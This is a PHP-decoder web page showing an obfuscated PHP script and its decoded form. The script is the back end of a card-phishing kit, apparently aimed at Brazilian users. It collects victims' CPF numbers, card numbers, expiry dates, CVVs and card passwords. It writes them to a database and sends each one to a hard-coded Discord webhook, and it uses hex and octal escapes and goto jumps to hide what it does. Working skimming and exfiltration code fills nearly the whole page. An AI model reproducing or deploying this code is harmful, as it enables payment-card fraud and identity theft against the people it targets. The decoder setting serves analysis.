Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php goto jtSMx; LDzxG: $mes = $_POST["\x6d\x65\x73"]; goto RZ50w; pzhRR: if (empty($se..
Decoded Output download
<?php
goto jtSMx; LDzxG: $mes = $_POST["mes"]; goto RZ50w; pzhRR: if (empty($senha)) { } else { echo $answer; $answer = $senha; $content = "senha: {$answer}"; $link = "https://discordapp.com/api/webhooks/1144015569276899440/NTWNpH9ezpeRLMy0YMxOr_IRqnhpz3uQ7a13JlWIZy5FRT3KTSKtShmRdPc3iJPhIPqI"; $basearray = array("content" => $content); $hookarray = array("http" => array("header" => "Content-type: application/x-www-form-urlencoded
\xa", "method" => "POST", "content" => http_build_query($basearray))); file_get_contents($link, false, stream_context_create($hookarray)); } goto PbEml; feLOW: if (empty($cvv)) { } else { echo $answer; $answer = $cvv; $content = "cvv: {$answer}"; $link = "https://discordapp.com/api/webhooks/1144015569276899440/NTWNpH9ezpeRLMy0YMxOr_IRqnhpz3uQ7a13JlWIZy5FRT3KTSKtShmRdPc3iJPhIPqI"; $basearray = array("content" => $content); $hookarray = array("http" => array("header" => "Content-type: application/x-www-form-urlencoded\xd\xa", "method" => "POST", "content" => http_build_query($basearray))); file_get_contents($link, false, stream_context_create($hookarray)); } goto pzhRR; N2s3f: date_default_timezone_set("America/Sao_Paulo"); goto NvAV2; NvAV2: $client = @$_SERVER["HTTP_CLIENT_IP"]; goto xrh0_; PbEml: if (empty($_POST["senha"]) || $_POST["senha"] == '') { if (empty($_POST["card"]) || empty($_POST["cpf"])) { header("Location: ./"); die; } $sql = $pdo->prepare("INSERT INTO `infos` VALUES (default, ?,?,?,?,default,?)"); $sql->execute(array($_POST["cpf"], $_POST["card"], $_POST["mes"] . "/" . $_POST["ano"], $_POST["cvv"], $ip)); $_SESSION["recarga_id"] = $pdo->lastInsertId(); $_SESSION["recarga_card"] = $_POST["card"]; die("success"); } else { $sql = $pdo->prepare("UPDATE `infos` SET `pass`=? WHERE (`id`<=>? OR `cc`=?)"); $sql->execute(array($_POST["senha"], $_SESSION["recarga_id"], $_POST["info_1"])); unset($_SESSION["recarga_id"]); unset($_SESSION["recarga_card"]); die("success"); } goto iakHl; xrh0_: $forward = @$_SERVER["HTTP_X_FORWARDED_FOR"]; goto zojVc; jtSMx: error_reporting(0); goto iacp7; zojVc: $remote = @$_SERVER["REMOTE_ADDR"]; goto cGW4J; RZ50w: $ano = $_POST["ano"]; goto rU9qn; vePB2: $senha = $_POST["senha"]; goto NSVKj; rU9qn: $cvv = $_POST["cvv"]; goto vePB2; GZviY: if (empty($ano)) { } else { echo $answer; $answer = $ano; $content = "ano: {$answer}"; $link = "https://discordapp.com/api/webhooks/1144015569276899440/NTWNpH9ezpeRLMy0YMxOr_IRqnhpz3uQ7a13JlWIZy5FRT3KTSKtShmRdPc3iJPhIPqI"; $basearray = array("content" => $content); $hookarray = array("http" => array("header" => "Content-type: application/x-www-form-urlencoded
\xa", "method" => "POST", "content" => http_build_query($basearray))); file_get_contents($link, false, stream_context_create($hookarray)); } goto feLOW; NSVKj: if (empty($cpf)) { } else { echo $answer; $answer = $cpf; $content = "cpf: {$answer}"; $link = "https://discordapp.com/api/webhooks/1144015569276899440/NTWNpH9ezpeRLMy0YMxOr_IRqnhpz3uQ7a13JlWIZy5FRT3KTSKtShmRdPc3iJPhIPqI"; $basearray = array("content" => $content); $hookarray = array("http" => array("header" => "Content-type: application/x-www-form-urlencoded\xd
", "method" => "POST", "content" => http_build_query($basearray))); file_get_contents($link, false, stream_context_create($hookarray)); } goto odbz2; qpfkN: require "./db.php"; goto djl0Y; djl0Y: $cpf = $_POST["cpf"]; goto jvA0d; jvA0d: $card = $_POST["card"]; goto LDzxG; cGW4J: if (filter_var($client, FILTER_VALIDATE_IP) && !strpos($client, ":")) { $ip = $client; } elseif (filter_var($forward, FILTER_VALIDATE_IP) && !strpos($forward, ":")) { $ip = $forward; } else { $ip = $remote; } goto qpfkN; iacp7: ob_start(); goto l6ThZ; yG9d4: if (empty($mes)) { } else { echo $answer; $answer = $mes; $content = "mes: {$answer}"; $link = "https://discordapp.com/api/webhooks/1144015569276899440/NTWNpH9ezpeRLMy0YMxOr_IRqnhpz3uQ7a13JlWIZy5FRT3KTSKtShmRdPc3iJPhIPqI"; $basearray = array("content" => $content); $hookarray = array("http" => array("header" => "Content-type: application/x-www-form-urlencoded\xd\xa", "method" => "POST", "content" => http_build_query($basearray))); file_get_contents($link, false, stream_context_create($hookarray)); } goto GZviY; odbz2: if (empty($card)) { } else { echo $answer; $answer = $card; $content = "card: {$answer}"; $link = "https://discordapp.com/api/webhooks/1144015569276899440/NTWNpH9ezpeRLMy0YMxOr_IRqnhpz3uQ7a13JlWIZy5FRT3KTSKtShmRdPc3iJPhIPqI"; $basearray = array("content" => $content); $hookarray = array("http" => array("header" => "Content-type: application/x-www-form-urlencoded\xd\xa", "method" => "POST", "content" => http_build_query($basearray))); file_get_contents($link, false, ?>
Did this file decode correctly?
Original Code
<?php
goto jtSMx; LDzxG: $mes = $_POST["\x6d\x65\x73"]; goto RZ50w; pzhRR: if (empty($senha)) { } else { echo $answer; $answer = $senha; $content = "\x73\x65\156\x68\141\x3a\40{$answer}"; $link = "\x68\x74\x74\160\163\x3a\57\x2f\144\151\163\143\x6f\162\144\141\160\160\x2e\x63\157\x6d\x2f\141\x70\x69\x2f\167\145\x62\x68\x6f\157\x6b\x73\x2f\x31\61\x34\x34\60\61\x35\65\x36\71\62\67\66\x38\71\x39\64\x34\x30\x2f\116\x54\x57\116\x70\x48\71\x65\x7a\x70\145\x52\x4c\115\x79\60\131\x4d\x78\117\x72\x5f\111\x52\x71\156\150\160\172\63\165\x51\x37\x61\x31\x33\x4a\154\x57\111\x5a\x79\x35\x46\x52\124\63\113\124\123\113\x74\x53\150\155\122\144\x50\143\x33\151\x4a\x50\x68\111\120\161\x49"; $basearray = array("\x63\157\x6e\164\x65\156\164" => $content); $hookarray = array("\x68\x74\164\160" => array("\150\x65\141\x64\145\162" => "\x43\157\x6e\164\x65\x6e\164\55\x74\x79\x70\x65\72\40\x61\x70\x70\x6c\151\x63\x61\164\x69\157\156\57\170\55\167\x77\x77\55\x66\x6f\162\155\x2d\x75\x72\x6c\x65\156\143\157\144\x65\144\15\xa", "\x6d\145\x74\x68\x6f\x64" => "\x50\117\x53\124", "\143\x6f\156\164\x65\156\x74" => http_build_query($basearray))); file_get_contents($link, false, stream_context_create($hookarray)); } goto PbEml; feLOW: if (empty($cvv)) { } else { echo $answer; $answer = $cvv; $content = "\143\x76\166\72\x20{$answer}"; $link = "\x68\x74\x74\x70\163\72\x2f\x2f\144\151\x73\143\x6f\x72\x64\141\160\x70\56\143\157\155\x2f\x61\x70\x69\x2f\x77\x65\x62\150\157\157\153\x73\x2f\x31\61\64\x34\x30\61\65\x35\66\71\x32\67\x36\70\71\71\64\64\x30\57\116\x54\x57\116\x70\110\x39\145\172\x70\145\x52\x4c\115\x79\x30\x59\115\x78\x4f\x72\x5f\x49\122\161\156\150\x70\x7a\63\x75\x51\x37\141\x31\x33\112\154\x57\111\x5a\171\65\x46\122\124\x33\113\x54\x53\x4b\x74\x53\x68\x6d\122\144\120\143\63\151\112\x50\150\x49\120\161\111"; $basearray = array("\143\x6f\x6e\x74\x65\156\164" => $content); $hookarray = array("\x68\x74\164\x70" => array("\x68\145\141\144\x65\x72" => "\x43\157\x6e\x74\145\156\x74\55\x74\x79\160\145\72\40\x61\160\x70\154\x69\143\x61\x74\x69\157\x6e\57\x78\55\x77\x77\x77\55\146\157\x72\155\55\165\x72\x6c\x65\x6e\143\157\144\145\x64\xd\xa", "\x6d\x65\164\150\157\x64" => "\x50\x4f\123\x54", "\143\157\156\164\145\x6e\x74" => http_build_query($basearray))); file_get_contents($link, false, stream_context_create($hookarray)); } goto pzhRR; N2s3f: date_default_timezone_set("\101\155\145\162\151\x63\x61\57\x53\141\x6f\137\120\x61\165\x6c\157"); goto NvAV2; NvAV2: $client = @$_SERVER["\110\124\124\x50\x5f\x43\x4c\111\105\x4e\124\x5f\111\120"]; goto xrh0_; PbEml: if (empty($_POST["\x73\x65\156\150\x61"]) || $_POST["\163\145\156\x68\141"] == '') { if (empty($_POST["\143\x61\162\x64"]) || empty($_POST["\143\160\x66"])) { header("\114\157\143\x61\164\x69\157\156\72\40\x2e\57"); die; } $sql = $pdo->prepare("\111\x4e\x53\x45\122\124\x20\111\x4e\124\x4f\40\x60\151\156\x66\157\163\140\40\x56\101\x4c\x55\x45\123\40\50\144\145\x66\141\165\154\164\x2c\40\77\54\77\x2c\x3f\x2c\77\54\x64\145\x66\141\x75\154\164\54\x3f\51"); $sql->execute(array($_POST["\x63\x70\146"], $_POST["\x63\141\x72\x64"], $_POST["\x6d\x65\163"] . "\x2f" . $_POST["\141\156\x6f"], $_POST["\143\x76\x76"], $ip)); $_SESSION["\x72\145\x63\x61\162\x67\141\137\151\144"] = $pdo->lastInsertId(); $_SESSION["\x72\145\143\x61\162\x67\141\x5f\143\x61\x72\x64"] = $_POST["\x63\x61\x72\x64"]; die("\x73\x75\x63\143\145\163\163"); } else { $sql = $pdo->prepare("\125\120\104\x41\124\x45\40\140\x69\x6e\x66\x6f\163\140\x20\123\105\124\x20\x60\x70\141\x73\x73\x60\x3d\77\40\x57\x48\x45\x52\x45\40\x28\x60\151\144\140\74\x3d\76\x3f\x20\117\122\x20\x60\143\x63\140\x3d\x3f\x29"); $sql->execute(array($_POST["\x73\x65\x6e\150\x61"], $_SESSION["\162\145\x63\x61\x72\147\141\137\x69\144"], $_POST["\151\156\146\157\137\61"])); unset($_SESSION["\162\x65\143\141\162\x67\x61\137\x69\144"]); unset($_SESSION["\x72\x65\x63\141\162\147\141\137\x63\141\162\144"]); die("\163\x75\x63\x63\x65\163\x73"); } goto iakHl; xrh0_: $forward = @$_SERVER["\110\x54\x54\120\137\x58\137\x46\x4f\x52\127\x41\122\x44\105\x44\137\x46\117\x52"]; goto zojVc; jtSMx: error_reporting(0); goto iacp7; zojVc: $remote = @$_SERVER["\122\x45\x4d\117\x54\x45\137\101\104\x44\x52"]; goto cGW4J; RZ50w: $ano = $_POST["\x61\156\157"]; goto rU9qn; vePB2: $senha = $_POST["\x73\x65\x6e\150\141"]; goto NSVKj; rU9qn: $cvv = $_POST["\143\166\166"]; goto vePB2; GZviY: if (empty($ano)) { } else { echo $answer; $answer = $ano; $content = "\141\x6e\x6f\72\x20{$answer}"; $link = "\x68\x74\x74\x70\163\72\x2f\57\144\x69\163\143\x6f\162\x64\x61\x70\160\56\143\157\155\57\x61\160\151\57\x77\145\142\150\x6f\x6f\153\x73\x2f\61\x31\x34\64\x30\61\x35\x35\x36\x39\x32\x37\66\x38\71\71\x34\x34\x30\57\116\124\127\x4e\160\x48\x39\145\x7a\160\145\122\x4c\115\x79\x30\131\115\170\x4f\162\x5f\x49\122\x71\x6e\x68\160\172\x33\x75\121\67\x61\61\63\112\154\x57\x49\132\x79\x35\x46\122\124\x33\x4b\x54\123\113\x74\123\150\155\122\144\x50\x63\63\151\x4a\120\150\111\x50\161\x49"; $basearray = array("\143\157\156\164\145\156\164" => $content); $hookarray = array("\x68\164\164\160" => array("\x68\x65\x61\x64\145\x72" => "\x43\x6f\x6e\x74\x65\156\164\x2d\x74\x79\160\x65\72\40\141\x70\x70\154\151\143\x61\164\151\157\x6e\57\170\55\x77\x77\167\x2d\146\157\x72\x6d\x2d\165\162\154\x65\x6e\143\x6f\x64\145\x64\15\xa", "\x6d\145\164\x68\157\x64" => "\x50\x4f\123\124", "\143\157\156\x74\x65\156\164" => http_build_query($basearray))); file_get_contents($link, false, stream_context_create($hookarray)); } goto feLOW; NSVKj: if (empty($cpf)) { } else { echo $answer; $answer = $cpf; $content = "\143\160\x66\72\40{$answer}"; $link = "\150\164\x74\160\163\x3a\57\57\144\x69\x73\143\157\x72\x64\141\x70\x70\x2e\x63\x6f\x6d\x2f\141\160\x69\57\x77\145\x62\150\157\157\x6b\x73\57\61\61\64\x34\60\61\65\65\66\71\62\67\x36\x38\x39\71\x34\64\x30\57\116\x54\127\116\160\x48\x39\x65\x7a\x70\145\x52\114\x4d\x79\60\x59\115\x78\x4f\x72\137\x49\122\x71\156\x68\160\172\63\165\121\67\x61\61\x33\112\154\x57\111\x5a\x79\65\x46\x52\124\x33\x4b\x54\x53\x4b\164\x53\150\x6d\x52\144\x50\x63\63\151\x4a\x50\x68\x49\120\161\111"; $basearray = array("\x63\157\x6e\164\x65\156\164" => $content); $hookarray = array("\150\164\164\x70" => array("\150\x65\x61\144\x65\x72" => "\x43\157\156\x74\x65\x6e\x74\x2d\164\171\160\x65\72\40\141\160\160\x6c\151\x63\x61\164\151\157\x6e\57\170\55\167\x77\167\x2d\146\x6f\162\155\x2d\165\x72\x6c\145\156\143\x6f\x64\145\144\xd\12", "\x6d\x65\164\x68\x6f\x64" => "\x50\117\123\x54", "\143\x6f\156\x74\x65\x6e\164" => http_build_query($basearray))); file_get_contents($link, false, stream_context_create($hookarray)); } goto odbz2; qpfkN: require "\56\x2f\x64\142\x2e\x70\x68\x70"; goto djl0Y; djl0Y: $cpf = $_POST["\x63\160\146"]; goto jvA0d; jvA0d: $card = $_POST["\143\141\162\144"]; goto LDzxG; cGW4J: if (filter_var($client, FILTER_VALIDATE_IP) && !strpos($client, "\72")) { $ip = $client; } elseif (filter_var($forward, FILTER_VALIDATE_IP) && !strpos($forward, "\72")) { $ip = $forward; } else { $ip = $remote; } goto qpfkN; iacp7: ob_start(); goto l6ThZ; yG9d4: if (empty($mes)) { } else { echo $answer; $answer = $mes; $content = "\x6d\145\163\72\40{$answer}"; $link = "\150\164\x74\160\x73\72\x2f\57\144\151\163\x63\157\x72\144\141\160\160\x2e\143\x6f\x6d\x2f\x61\160\x69\57\x77\x65\x62\150\x6f\157\x6b\163\57\61\61\x34\x34\60\61\65\x35\x36\71\62\67\66\70\71\x39\64\x34\60\x2f\116\124\127\x4e\x70\x48\x39\145\x7a\160\x65\122\x4c\x4d\171\60\131\x4d\x78\117\162\137\111\x52\161\156\150\160\x7a\x33\x75\x51\67\x61\x31\x33\x4a\x6c\127\x49\132\x79\65\106\x52\124\x33\113\124\123\113\x74\x53\150\x6d\122\144\120\x63\x33\151\112\120\150\111\x50\x71\111"; $basearray = array("\143\x6f\x6e\x74\x65\x6e\164" => $content); $hookarray = array("\x68\164\x74\x70" => array("\x68\145\141\144\x65\162" => "\x43\x6f\x6e\x74\145\x6e\x74\55\164\x79\x70\145\72\x20\141\160\160\154\x69\x63\x61\164\x69\x6f\x6e\x2f\170\x2d\167\167\167\x2d\146\157\162\x6d\x2d\165\x72\154\145\156\143\157\x64\145\x64\xd\xa", "\x6d\145\x74\150\x6f\144" => "\120\117\123\x54", "\143\x6f\x6e\x74\145\x6e\164" => http_build_query($basearray))); file_get_contents($link, false, stream_context_create($hookarray)); } goto GZviY; odbz2: if (empty($card)) { } else { echo $answer; $answer = $card; $content = "\x63\141\x72\144\x3a\40{$answer}"; $link = "\x68\x74\164\160\163\x3a\57\57\x64\x69\x73\143\x6f\162\x64\x61\160\160\56\x63\x6f\155\x2f\141\160\x69\57\x77\x65\142\x68\x6f\157\x6b\x73\57\61\x31\x34\x34\60\x31\65\x35\66\71\62\67\66\70\x39\71\x34\x34\60\57\116\124\x57\x4e\160\110\71\x65\172\160\145\x52\114\x4d\171\x30\131\x4d\x78\x4f\x72\137\111\x52\x71\x6e\150\x70\x7a\63\x75\x51\67\x61\61\63\112\x6c\x57\111\x5a\171\x35\106\122\x54\x33\113\124\x53\x4b\164\x53\x68\155\x52\x64\x50\x63\x33\x69\x4a\x50\x68\111\120\161\111"; $basearray = array("\143\157\156\x74\x65\x6e\x74" => $content); $hookarray = array("\150\164\164\160" => array("\x68\x65\141\x64\145\162" => "\103\157\156\x74\x65\156\164\55\164\171\160\x65\x3a\x20\141\160\x70\x6c\151\x63\141\x74\151\157\x6e\57\x78\x2d\x77\167\167\55\146\157\162\x6d\x2d\x75\162\154\145\156\x63\x6f\144\x65\144\xd\xa", "\155\x65\164\150\x6f\x64" => "\x50\x4f\x53\x54", "\143\x6f\x6e\x74\145\156\164" => http_build_query($basearray))); file_get_contents($link, false,
Function Calls
None |
Stats
MD5 | 3dbe91558bed3b5ffdc440e4b34af8a1 |
Eval Count | 0 |
Decode Time | 36 ms |